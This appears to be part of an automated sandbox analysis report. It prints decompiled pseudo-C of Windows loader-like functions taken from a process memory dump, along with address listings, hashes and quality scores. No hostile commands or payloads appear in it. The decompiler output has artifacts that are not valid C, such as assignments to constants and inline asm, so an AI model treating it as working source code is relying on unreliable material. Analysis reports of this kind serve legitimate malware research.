                                      						_t221 = _v40;
                                      						_v16 =  *_v92;
                                      						_v32 =  &_v28;
                                      						if( *(_t237 + 0x4e) >> 0xf == 0) {
                                      							goto L9;
                                      						}
                                      						_t240 = _v48;
                                      						if( *_v92 != 0x80000000) {
                                      							goto L9;
                                      						}
                                      						 *((intOrPtr*)(_t221 + 8)) = 0;
                                      						 *((intOrPtr*)(_t221 + 0xc)) = 0;
                                      						 *((intOrPtr*)(_t221 + 0x14)) = 0;
                                      						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
                                      						_t226 = 0;
                                      						_t181 = _t251 + 0x66;
                                      						_v88 = 0;
                                      						_v92 = _t181;
                                      						do {
                                      							if( *((char*)(_t181 - 2)) == 0) {
                                      								goto L31;
                                      							}
                                      							_t226 = _v88;
                                      							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
                                      								_t181 = E036AD0F0(1, _t226 + 0x20, 0);
                                      								_t226 = _v40;
                                      								 *(_t226 + 8) = _t181;
                                      								 *((intOrPtr*)(_t226 + 0xc)) = 0;
                                      								L34:
                                      								if(_v44 == 0) {
                                      									goto L9;
                                      								}
                                      								_t210 = _v44;
                                      								_t127 = _t210 + 0x1c; // 0x1c
                                      								_t249 = _t127;
                                      								E03682280(_t181, _t127);
                                      								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
                                      								_t185 =  *((intOrPtr*)(_t210 + 0x94));
                                      								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
                                      								}
                                      								_t189 = L03684620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
                                      								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
                                      								if(_t189 != 0) {
                                      									 *((intOrPtr*)(_t189 + 8)) = _v20;
                                      									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
                                      									_t232 =  *((intOrPtr*)(_t210 + 0x94));
                                      									 *_t232 = _t232 + 0x10;
                                      									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
                                      									E036AF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
                                      									_t256 = _t256 + 0xc;
                                      								}
                                      								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
                                      								E0367FFB0(_t210, _t249, _t249);
                                      								_t222 = _v76;
                                      								_t172 = _v80;
                                      								_t208 = _v84;
                                      								_t247 = _v88;
                                      								L10:
                                      								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
                                      								_v44 = _t238;
                                      								if(_t238 != 0) {
                                      									 *0x375b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
                                      									_v44();
                                      								}
                                      								_pop(_t248);
                                      								_pop(_t252);
                                      								_pop(_t209);
                                      								return E036AB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
                                      							}
                                      							_t181 = _v92;
                                      							L31:
                                      							_t226 = _t226 + 1;
                                      							_t181 =  &(_t181[0x18]);
                                      							_v88 = _t226;
                                      							_v92 = _t181;
                                      						} while (_t226 < 4);
                                      						goto L34;
                                      					}
                                      					L9:
                                      					_t172 = _v104;
                                      					_t222 = _v100;
                                      					goto L10;
                                      				}
                                      				_t247 = _t246 | 0xffffffff;
                                      				_t208 = _t247;
                                      				_v84 = _t247;
                                      				_v80 = _t208;
                                      				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
                                      					_t233 = _v72;
                                      					_v105 = _v64;
                                      					_t202 = _v76;
                                      				} else {
                                      					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
                                      					_v105 = 1;
                                      					if(_v63 <= _t204) {
                                      						_v63 = _t204;
                                      					}
                                      					_t202 = _v76 |  *(_t251 + 0x40);
                                      					_t233 = _v72 |  *(_t251 + 0x44);
                                      					_t247 =  *(_t251 + 0x38);
                                      					_t208 =  *(_t251 + 0x3c);
                                      					_v76 = _t202;
                                      					_v72 = _t233;
                                      					_v84 = _t247;
                                      					_v80 = _t208;
                                      				}
                                      				_v104 = _t202;
                                      				_v100 = _t233;
                                      				if( *((char*)(_t251 + 0xc4)) != 0) {
                                      					_t237 = _v48;
                                      					_v105 = 1;
                                      					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
                                      						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
                                      						_t237 = _v48;
                                      					}
                                      					_t203 = _t202 |  *(_t251 + 0xb8);
                                      					_t234 = _t233 |  *(_t251 + 0xbc);
                                      					_t247 = _t247 &  *(_t251 + 0xb0);
                                      					_t208 = _t208 &  *(_t251 + 0xb4);
                                      					_v104 = _t203;
                                      					_v76 = _t203;
                                      					_v100 = _t234;
                                      					_v72 = _t234;
                                      					_v84 = _t247;
                                      					_v80 = _t208;
                                      				}
                                      				if(_v105 == 0) {
                                      					_v36 = _v36 & 0x00000000;
                                      					_t208 = 0;
                                      					_t247 = 0;
                                      					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
                                      					goto L19;
                                      				} else {
                                      					_v36 = 1;
                                      					goto L8;
                                      				}
                                      			}































































                                      0x03695142
                                      0x0369514c
                                      0x03695150
                                      0x03695157
                                      0x03695159
                                      0x0369515e
                                      0x03695165
                                      0x03695169
                                      0x0369516c
                                      0x03695172
                                      0x03695176
                                      0x0369517a
                                      0x0369517a
                                      0x0369517a
                                      0x0369517f
                                      0x036d6d8b
                                      0x036d6d8e
                                      0x036d6d91
                                      0x036d6d95
                                      0x036d6d98
                                      0x036d6d9c
                                      0x036d6da0
                                      0x036d6da3
                                      0x036d6da7
                                      0x036d6e26
                                      0x036d6e26
                                      0x036d6e2a
                                      0x036951f9
                                      0x036951f9
                                      0x036951fe
                                      0x036d6e33
                                      0x036d6e33
                                      0x036d6e39
                                      0x036d6e3d
                                      0x036d6e46
                                      0x036d6e50
                                      0x00000000
                                      0x00000000
                                      0x036d6e52
                                      0x036d6e53
                                      0x036d6e56
                                      0x036d6e5d
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d6e5f
                                      0x036d6e67
                                      0x036d6e77
                                      0x036d6e7f
                                      0x036d6e80
                                      0x036d6e88
                                      0x036d6e90
                                      0x036d6e9f
                                      0x036d6ea5
                                      0x036d6ea9
                                      0x036d6eb1
                                      0x036d6ebf
                                      0x00000000
                                      0x00000000
                                      0x036d6ecf
                                      0x036d6ed3
                                      0x00000000
                                      0x00000000
                                      0x036d6edb
                                      0x036d6ede
                                      0x036d6ee1
                                      0x036d6ee8
                                      0x036d6eeb
                                      0x036d6eed
                                      0x036d6ef0
                                      0x036d6ef4
                                      0x036d6ef8
                                      0x036d6efc
                                      0x00000000
                                      0x00000000
                                      0x036d6f0d
                                      0x036d6f11
                                      0x036d6f32
                                      0x036d6f37
                                      0x036d6f3b
                                      0x036d6f3e
                                      0x036d6f41
                                      0x036d6f46
                                      0x00000000
                                      0x00000000
                                      0x036d6f4c
                                      0x036d6f50
                                      0x036d6f50
                                      0x036d6f54
                                      0x036d6f62
                                      0x036d6f65
                                      0x036d6f6d
                                      0x036d6f7b
                                      0x036d6f7b
                                      0x036d6f93
                                      0x036d6f98
                                      0x036d6fa0
                                      0x036d6fa6
                                      0x036d6fb3
                                      0x036d6fb6
                                      0x036d6fbf
                                      0x036d6fc1
                                      0x036d6fd5
                                      0x036d6fda
                                      0x036d6fda
                                      0x036d6fdd
                                      0x036d6fe2
                                      0x036d6fe7
                                      0x036d6feb
                                      0x036d6fef
                                      0x036d6ff3
                                      0x0369520c
                                      0x0369520c
                                      0x0369520f
                                      0x03695215
                                      0x03695234
                                      0x0369523a
                                      0x0369523a
                                      0x03695244
                                      0x03695245
                                      0x03695246
                                      0x03695251
                                      0x03695251
                                      0x036d6f13
                                      0x036d6f17
                                      0x036d6f17
                                      0x036d6f18
                                      0x036d6f1b
                                      0x036d6f1f
                                      0x036d6f23
                                      0x00000000
                                      0x036d6f28
                                      0x03695204
                                      0x03695204
                                      0x03695208
                                      0x00000000
                                      0x03695208
                                      0x03695185
                                      0x03695188
                                      0x0369518a
                                      0x0369518e
                                      0x03695195
                                      0x036d6db1
                                      0x036d6db5
                                      0x036d6db9
                                      0x0369519b
                                      0x0369519b
                                      0x0369519e
                                      0x036951a7
                                      0x036951a9
                                      0x036951a9
                                      0x036951b5
                                      0x036951b8
                                      0x036951bb
                                      0x036951be
                                      0x036951c1
                                      0x036951c5
                                      0x036951c9
                                      0x036951cd
                                      0x036951cd
                                      0x036951d8
                                      0x036951dc
                                      0x036951e0
                                      0x036d6dcc
                                      0x036d6dd0
                                      0x036d6dd5
                                      0x036d6ddd
                                      0x036d6de1
                                      0x036d6de1
                                      0x036d6de5
                                      0x036d6deb
                                      0x036d6df1
                                      0x036d6df7
                                      0x036d6dfd
                                      0x036d6e01
                                      0x036d6e05
                                      0x036d6e09
                                      0x036d6e0d
                                      0x036d6e11
                                      0x036d6e11
                                      0x036951eb
                                      0x036d6e1a
                                      0x036d6e1f
                                      0x036d6e21
                                      0x036d6e23
                                      0x00000000
                                      0x036951f1
                                      0x036951f1
                                      0x00000000
                                      0x036951f1

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 707041a1fe14584a81c158c3650b54ffa9a8b35d21a6f9622f1be08dcee0d223
                                      • Instruction ID: a967e7edde850b4b997a66d2e1a9a8631e8c015d58b6b9fa76e6bb734c896d45
                                      • Opcode Fuzzy Hash: 707041a1fe14584a81c158c3650b54ffa9a8b35d21a6f9622f1be08dcee0d223
                                      • Instruction Fuzzy Hash: A2C133759083808FD755CF28C580A6AFBF1BF89304F184A6EF9998B352D771E845CB46
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 74%
                                      			E036903E2(signed int __ecx, signed int __edx) {
                                      				signed int _v8;
                                      				signed int _v12;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				signed int _v24;
                                      				signed int _v28;
                                      				signed int _v32;
                                      				signed int _v36;
                                      				intOrPtr _v40;
                                      				signed int _v44;
                                      				signed int _v48;
                                      				char _v52;
                                      				char _v56;
                                      				char _v64;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t56;
                                      				signed int _t58;
                                      				char* _t64;
                                      				intOrPtr _t65;
                                      				signed int _t74;
                                      				signed int _t79;
                                      				char* _t83;
                                      				intOrPtr _t84;
                                      				signed int _t93;
                                      				signed int _t94;
                                      				signed char* _t95;
                                      				signed int _t99;
                                      				signed int _t100;
                                      				signed char* _t101;
                                      				signed int _t105;
                                      				signed int _t119;
                                      				signed int _t120;
                                      				void* _t122;
                                      				signed int _t123;
                                      				signed int _t127;
                                      
                                      				_v8 =  *0x375d360 ^ _t127;
                                      				_t119 = __ecx;
                                      				_t105 = __edx;
                                      				_t118 = 0;
                                      				_v20 = __edx;
                                      				_t120 =  *(__ecx + 0x20);
                                      				if(E03690548(__ecx, 0) != 0) {
                                      					_t56 = 0xc000022d;
                                      					L23:
                                      					return E036AB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
                                      				} else {
                                      					_v12 = _v12 | 0xffffffff;
                                      					_t58 = _t120 + 0x24;
                                      					_t109 =  *(_t120 + 0x18);
                                      					_t118 = _t58;
                                      					_v16 = _t58;
                                      					E0367B02A( *(_t120 + 0x18), _t118, 0x14a5);
                                      					_v52 = 0x18;
                                      					_v48 = 0;
                                      					0x840 = 0x40;
                                      					if( *0x3757c1c != 0) {
                                      					}
                                      					_v40 = 0x840;
                                      					_v44 = _t105;
                                      					_v36 = 0;
                                      					_v32 = 0;
                                      					if(E03687D50() != 0) {
                                      						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      					} else {
                                      						_t64 = 0x7ffe0384;
                                      					}
                                      					if( *_t64 != 0) {
                                      						_t65 =  *[fs:0x30];
                                      						__eflags =  *(_t65 + 0x240) & 0x00000004;
                                      						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
                                      							_t100 = E03687D50();
                                      							__eflags = _t100;
                                      							if(_t100 == 0) {
                                      								_t101 = 0x7ffe0385;
                                      							} else {
                                      								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      							}
                                      							__eflags =  *_t101 & 0x00000020;
                                      							if(( *_t101 & 0x00000020) != 0) {
                                      								_t118 = _t118 | 0xffffffff;
                                      								_t109 = 0x1485;
                                      								E036E7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
                                      							}
                                      						}
                                      					}
                                      					_t105 = 0;
                                      					while(1) {
                                      						_push(0x60);
                                      						_push(5);
                                      						_push( &_v64);
                                      						_push( &_v52);
                                      						_push(0x100021);
                                      						_push( &_v12);
                                      						_t122 = E036A9830();
                                      						if(_t122 >= 0) {
                                      							break;
                                      						}
                                      						__eflags = _t122 - 0xc0000034;
                                      						if(_t122 == 0xc0000034) {
                                      							L38:
                                      							_t120 = 0xc0000135;
                                      							break;
                                      						}
                                      						__eflags = _t122 - 0xc000003a;
                                      						if(_t122 == 0xc000003a) {
                                      							goto L38;
                                      						}
                                      						__eflags = _t122 - 0xc0000022;
                                      						if(_t122 != 0xc0000022) {
                                      							break;
                                      						}
                                      						__eflags = _t105;
                                      						if(__eflags != 0) {
                                      							break;
                                      						}
                                      						_t109 = _t119;
                                      						_t99 = E036E69A6(_t119, __eflags);
                                      						__eflags = _t99;
                                      						if(_t99 == 0) {
                                      							break;
                                      						}
                                      						_t105 = _t105 + 1;
                                      					}
                                      					if( !_t120 >= 0) {
                                      						L22:
                                      						_t56 = _t120;
                                      						goto L23;
                                      					}
                                      					if( *0x3757c04 != 0) {
                                      						_t118 = _v12;
                                      						_t120 = E036EA7AC(_t119, _t118, _t109);
                                      						__eflags = _t120;
                                      						if(_t120 >= 0) {
                                      							goto L10;
                                      						}
                                      						__eflags =  *0x3757bd8;
                                      						if( *0x3757bd8 != 0) {
                                      							L20:
                                      							if(_v12 != 0xffffffff) {
                                      								_push(_v12);
                                      								E036A95D0();
                                      							}
                                      							goto L22;
                                      						}
                                      					}
                                      					L10:
                                      					_push(_v12);
                                      					_t105 = _t119 + 0xc;
                                      					_push(0x1000000);
                                      					_push(0x10);
                                      					_push(0);
                                      					_push(0);
                                      					_push(0xf);
                                      					_push(_t105);
                                      					_t120 = E036A99A0();
                                      					if(_t120 < 0) {
                                      						__eflags = _t120 - 0xc000047e;
                                      						if(_t120 == 0xc000047e) {
                                      							L51:
                                      							_t74 = E036E3540(_t120);
                                      							_t119 = _v16;
                                      							_t120 = _t74;
                                      							L52:
                                      							_t118 = 0x1485;
                                      							E0366B1E1(_t120, 0x1485, 0, _t119);
                                      							goto L20;
                                      						}
                                      						__eflags = _t120 - 0xc000047f;
                                      						if(_t120 == 0xc000047f) {
                                      							goto L51;
                                      						}
                                      						__eflags = _t120 - 0xc0000462;
                                      						if(_t120 == 0xc0000462) {
                                      							goto L51;
                                      						}
                                      						_t119 = _v16;
                                      						__eflags = _t120 - 0xc0000017;
                                      						if(_t120 != 0xc0000017) {
                                      							__eflags = _t120 - 0xc000009a;
                                      							if(_t120 != 0xc000009a) {
                                      								__eflags = _t120 - 0xc000012d;
                                      								if(_t120 != 0xc000012d) {
                                      									_v28 = _t119;
                                      									_push( &_v56);
                                      									_push(1);
                                      									_v24 = _t120;
                                      									_push( &_v28);
                                      									_push(1);
                                      									_push(2);
                                      									_push(0xc000007b);
                                      									_t79 = E036AAAF0();
                                      									__eflags = _t79;
                                      									if(_t79 >= 0) {
                                      										__eflags =  *0x3758474 - 3;
                                      										if( *0x3758474 != 3) {
                                      											 *0x37579dc =  *0x37579dc + 1;
                                      										}
                                      									}
                                      								}
                                      							}
                                      						}
                                      						goto L52;
                                      					}
                                      					if(E03687D50() != 0) {
                                      						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      					} else {
                                      						_t83 = 0x7ffe0384;
                                      					}
                                      					if( *_t83 != 0) {
                                      						_t84 =  *[fs:0x30];
                                      						__eflags =  *(_t84 + 0x240) & 0x00000004;
                                      						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
                                      							_t94 = E03687D50();
                                      							__eflags = _t94;
                                      							if(_t94 == 0) {
                                      								_t95 = 0x7ffe0385;
                                      							} else {
                                      								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      							}
                                      							__eflags =  *_t95 & 0x00000020;
                                      							if(( *_t95 & 0x00000020) != 0) {
                                      								E036E7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
                                      							}
                                      						}
                                      					}
                                      					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
                                      						if( *0x3758708 != 0) {
                                      							_t118 =  *0x7ffe0330;
                                      							_t123 =  *0x3757b00; // 0x0
                                      							asm("ror esi, cl");
                                      							 *0x375b1e0(_v12, _v20, 0x20);
                                      							_t93 =  *(_t123 ^  *0x7ffe0330)();
                                      							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
                                      							asm("sbb esi, esi");
                                      							_t120 =  ~_t50 & _t93;
                                      						} else {
                                      							_t120 = 0;
                                      						}
                                      					}
                                      					if( !_t120 >= 0) {
                                      						L19:
                                      						_push( *_t105);
                                      						E036A95D0();
                                      						 *_t105 =  *_t105 & 0x00000000;
                                      						goto L20;
                                      					}
                                      					_t120 = E03677F65(_t119);
                                      					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
                                      						__eflags = _t120;
                                      						if(_t120 < 0) {
                                      							goto L19;
                                      						}
                                      						 *(_t119 + 0x64) = _v12;
                                      						goto L22;
                                      					}
                                      					goto L19;
                                      				}
                                      			}








































                                      0x036903f1
                                      0x036903f7
                                      0x036903f9
                                      0x036903fb
                                      0x036903fd
                                      0x03690400
                                      0x0369040a
                                      0x036d4c7a
                                      0x03690537
                                      0x03690547
                                      0x03690410
                                      0x03690410
                                      0x03690414
                                      0x03690417
                                      0x0369041a
                                      0x03690421
                                      0x03690424
                                      0x0369042b
                                      0x0369043b
                                      0x0369043e
                                      0x0369043f
                                      0x0369043f
                                      0x03690446
                                      0x03690449
                                      0x0369044c
                                      0x0369044f
                                      0x03690459
                                      0x036d4c8d
                                      0x0369045f
                                      0x0369045f
                                      0x0369045f
                                      0x03690467
                                      0x036d4c97
                                      0x036d4c9d
                                      0x036d4ca4
                                      0x036d4caa
                                      0x036d4caf
                                      0x036d4cb1
                                      0x036d4cc3
                                      0x036d4cb3
                                      0x036d4cbc
                                      0x036d4cbc
                                      0x036d4cc8
                                      0x036d4ccb
                                      0x036d4cd7
                                      0x036d4cda
                                      0x036d4cdf
                                      0x036d4cdf
                                      0x036d4ccb
                                      0x036d4ca4
                                      0x0369046d
                                      0x0369046f
                                      0x0369046f
                                      0x03690471
                                      0x03690476
                                      0x0369047a
                                      0x0369047b
                                      0x03690483
                                      0x03690489
                                      0x0369048d
                                      0x00000000
                                      0x00000000
                                      0x036d4ce9
                                      0x036d4cef
                                      0x036d4d22
                                      0x036d4d22
                                      0x00000000
                                      0x036d4d22
                                      0x036d4cf1
                                      0x036d4cf7
                                      0x00000000
                                      0x00000000
                                      0x036d4cf9
                                      0x036d4cff
                                      0x00000000
                                      0x00000000
                                      0x036d4d05
                                      0x036d4d07
                                      0x00000000
                                      0x00000000
                                      0x036d4d0d
                                      0x036d4d0f
                                      0x036d4d14
                                      0x036d4d16
                                      0x00000000
                                      0x00000000
                                      0x036d4d1c
                                      0x036d4d1c
                                      0x03690499
                                      0x03690535
                                      0x03690535
                                      0x00000000
                                      0x03690535
                                      0x036904a6
                                      0x036d4d2c
                                      0x036d4d37
                                      0x036d4d39
                                      0x036d4d3b
                                      0x00000000
                                      0x00000000
                                      0x036d4d41
                                      0x036d4d48
                                      0x03690527
                                      0x0369052b
                                      0x0369052d
                                      0x03690530
                                      0x03690530
                                      0x00000000
                                      0x0369052b
                                      0x036d4d4e
                                      0x036904ac
                                      0x036904ac
                                      0x036904af
                                      0x036904b2
                                      0x036904b7
                                      0x036904b9
                                      0x036904bb
                                      0x036904bd
                                      0x036904bf
                                      0x036904c5
                                      0x036904c9
                                      0x036d4d53
                                      0x036d4d59
                                      0x036d4db9
                                      0x036d4dba
                                      0x036d4dbf
                                      0x036d4dc2
                                      0x036d4dc4
                                      0x036d4dc7
                                      0x036d4dce
                                      0x00000000
                                      0x036d4dce
                                      0x036d4d5b
                                      0x036d4d61
                                      0x00000000
                                      0x00000000
                                      0x036d4d63
                                      0x036d4d69
                                      0x00000000
                                      0x00000000
                                      0x036d4d6b
                                      0x036d4d6e
                                      0x036d4d74
                                      0x036d4d76
                                      0x036d4d7c
                                      0x036d4d7e
                                      0x036d4d84
                                      0x036d4d89
                                      0x036d4d8c
                                      0x036d4d8d
                                      0x036d4d92
                                      0x036d4d95
                                      0x036d4d96
                                      0x036d4d98
                                      0x036d4d9a
                                      0x036d4d9f
                                      0x036d4da4
                                      0x036d4da6
                                      0x036d4da8
                                      0x036d4daf
                                      0x036d4db1
                                      0x036d4db1
                                      0x036d4daf
                                      0x036d4da6
                                      0x036d4d84
                                      0x036d4d7c
                                      0x00000000
                                      0x036d4d74
                                      0x036904d6
                                      0x036d4de1
                                      0x036904dc
                                      0x036904dc
                                      0x036904dc
                                      0x036904e4
                                      0x036d4deb
                                      0x036d4df1
                                      0x036d4df8
                                      0x036d4dfe
                                      0x036d4e03
                                      0x036d4e05
                                      0x036d4e17
                                      0x036d4e07
                                      0x036d4e10
                                      0x036d4e10
                                      0x036d4e1c
                                      0x036d4e1f
                                      0x036d4e35
                                      0x036d4e35
                                      0x036d4e1f
                                      0x036d4df8
                                      0x036904f1
                                      0x036904fa
                                      0x036d4e3f
                                      0x036d4e47
                                      0x036d4e5b
                                      0x036d4e61
                                      0x036d4e67
                                      0x036d4e69
                                      0x036d4e71
                                      0x036d4e73
                                      0x03690500
                                      0x03690500
                                      0x03690500
                                      0x036904fa
                                      0x03690508
                                      0x0369051d
                                      0x0369051d
                                      0x0369051f
                                      0x03690524
                                      0x00000000
                                      0x03690524
                                      0x03690515
                                      0x03690517
                                      0x036d4e7a
                                      0x036d4e7c
                                      0x00000000
                                      0x00000000
                                      0x036d4e85
                                      0x00000000
                                      0x036d4e85
                                      0x00000000
                                      0x03690517

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4058db9ac00977b615190972e4e3afd0695d945c772ffc5cb8e4e6625ef20fc2
                                      • Instruction ID: eea4ae62ac0fb87e520a486db1090c9ba8a9f39792262ba6fc95436be0db309a
                                      • Opcode Fuzzy Hash: 4058db9ac00977b615190972e4e3afd0695d945c772ffc5cb8e4e6625ef20fc2
                                      • Instruction Fuzzy Hash: 21914A31E00354EFEF22DB69C944BADBBA8AB05B24F190266E911AB3D0DF749C00C791
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 67%
                                      			E0366C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
                                      				signed int _v8;
                                      				char _v1036;
                                      				signed int _v1040;
                                      				char _v1048;
                                      				signed int _v1052;
                                      				signed char _v1056;
                                      				void* _v1058;
                                      				char _v1060;
                                      				signed int _v1064;
                                      				void* _v1068;
                                      				intOrPtr _v1072;
                                      				void* _v1084;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				intOrPtr _t70;
                                      				intOrPtr _t72;
                                      				signed int _t74;
                                      				intOrPtr _t77;
                                      				signed int _t78;
                                      				signed int _t81;
                                      				void* _t101;
                                      				signed int _t102;
                                      				signed int _t107;
                                      				signed int _t109;
                                      				signed int _t110;
                                      				signed char _t111;
                                      				signed int _t112;
                                      				signed int _t113;
                                      				signed int _t114;
                                      				intOrPtr _t116;
                                      				void* _t117;
                                      				char _t118;
                                      				void* _t120;
                                      				char _t121;
                                      				signed int _t122;
                                      				signed int _t123;
                                      				signed int _t125;
                                      
                                      				_t125 = (_t123 & 0xfffffff8) - 0x424;
                                      				_v8 =  *0x375d360 ^ _t125;
                                      				_t116 = _a4;
                                      				_v1056 = _a16;
                                      				_v1040 = _a24;
                                      				if(E03676D30( &_v1048, _a8) < 0) {
                                      					L4:
                                      					_pop(_t117);
                                      					_pop(_t120);
                                      					_pop(_t101);
                                      					return E036AB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
                                      				}
                                      				_t70 = _a20;
                                      				if(_t70 >= 0x3f4) {
                                      					_t121 = _t70 + 0xc;
                                      					L19:
                                      					_t107 =  *( *[fs:0x30] + 0x18);
                                      					__eflags = _t107;
                                      					if(_t107 == 0) {
                                      						L60:
                                      						_t68 = 0xc0000017;
                                      						goto L4;
                                      					}
                                      					_t72 =  *0x3757b9c; // 0x0
                                      					_t74 = L03684620(_t107, _t107, _t72 + 0x180000, _t121);
                                      					_v1064 = _t74;
                                      					__eflags = _t74;
                                      					if(_t74 == 0) {
                                      						goto L60;
                                      					}
                                      					_t102 = _t74;
                                      					_push( &_v1060);
                                      					_push(_t121);
                                      					_push(_t74);
                                      					_push(2);
                                      					_push( &_v1048);
                                      					_push(_t116);
                                      					_t122 = E036A9650();
                                      					__eflags = _t122;
                                      					if(_t122 >= 0) {
                                      						L7:
                                      						_t114 = _a12;
                                      						__eflags = _t114;
                                      						if(_t114 != 0) {
                                      							_t77 = _a20;
                                      							L26:
                                      							_t109 =  *(_t102 + 4);
                                      							__eflags = _t109 - 3;
                                      							if(_t109 == 3) {
                                      								L55:
                                      								__eflags = _t114 - _t109;
                                      								if(_t114 != _t109) {
                                      									L59:
                                      									_t122 = 0xc0000024;
                                      									L15:
                                      									_t78 = _v1052;
                                      									__eflags = _t78;
                                      									if(_t78 != 0) {
                                      										L036877F0( *( *[fs:0x30] + 0x18), 0, _t78);
                                      									}
                                      									_t68 = _t122;
                                      									goto L4;
                                      								}
                                      								_t110 = _v1056;
                                      								_t118 =  *((intOrPtr*)(_t102 + 8));
                                      								_v1060 = _t118;
                                      								__eflags = _t110;
                                      								if(_t110 == 0) {
                                      									L10:
                                      									_t122 = 0x80000005;
                                      									L11:
                                      									_t81 = _v1040;
                                      									__eflags = _t81;
                                      									if(_t81 == 0) {
                                      										goto L15;
                                      									}
                                      									__eflags = _t122;
                                      									if(_t122 >= 0) {
                                      										L14:
                                      										 *_t81 = _t118;
                                      										goto L15;
                                      									}
                                      									__eflags = _t122 - 0x80000005;
                                      									if(_t122 != 0x80000005) {
                                      										goto L15;
                                      									}
                                      									goto L14;
                                      								}
                                      								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
                                      								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
                                      									goto L10;
                                      								}
                                      								_push( *((intOrPtr*)(_t102 + 8)));
                                      								_t59 = _t102 + 0xc; // 0xc
                                      								_push(_t110);
                                      								L54:
                                      								E036AF3E0();
                                      								_t125 = _t125 + 0xc;
                                      								goto L11;
                                      							}
                                      							__eflags = _t109 - 7;
                                      							if(_t109 == 7) {
                                      								goto L55;
                                      							}
                                      							_t118 = 4;
                                      							__eflags = _t109 - _t118;
                                      							if(_t109 != _t118) {
                                      								__eflags = _t109 - 0xb;
                                      								if(_t109 != 0xb) {
                                      									__eflags = _t109 - 1;
                                      									if(_t109 == 1) {
                                      										__eflags = _t114 - _t118;
                                      										if(_t114 != _t118) {
                                      											_t118 =  *((intOrPtr*)(_t102 + 8));
                                      											_v1060 = _t118;
                                      											__eflags = _t118 - _t77;
                                      											if(_t118 > _t77) {
                                      												goto L10;
                                      											}
                                      											_push(_t118);
                                      											_t56 = _t102 + 0xc; // 0xc
                                      											_push(_v1056);
                                      											goto L54;
                                      										}
                                      										__eflags = _t77 - _t118;
                                      										if(_t77 != _t118) {
                                      											L34:
                                      											_t122 = 0xc0000004;
                                      											goto L15;
                                      										}
                                      										_t111 = _v1056;
                                      										__eflags = _t111 & 0x00000003;
                                      										if((_t111 & 0x00000003) == 0) {
                                      											_v1060 = _t118;
                                      											__eflags = _t111;
                                      											if(__eflags == 0) {
                                      												goto L10;
                                      											}
                                      											_t42 = _t102 + 0xc; // 0xc
                                      											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
                                      											_v1048 =  *((intOrPtr*)(_t102 + 8));
                                      											_push(_t111);
                                      											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
                                      											_push(0);
                                      											_push( &_v1048);
                                      											_t122 = E036A13C0(_t102, _t118, _t122, __eflags);
                                      											L44:
                                      											_t118 = _v1072;
                                      											goto L11;
                                      										}
                                      										_t122 = 0x80000002;
                                      										goto L15;
                                      									}
                                      									_t122 = 0xc0000024;
                                      									goto L44;
                                      								}
                                      								__eflags = _t114 - _t109;
                                      								if(_t114 != _t109) {
                                      									goto L59;
                                      								}
                                      								_t118 = 8;
                                      								__eflags = _t77 - _t118;
                                      								if(_t77 != _t118) {
                                      									goto L34;
                                      								}
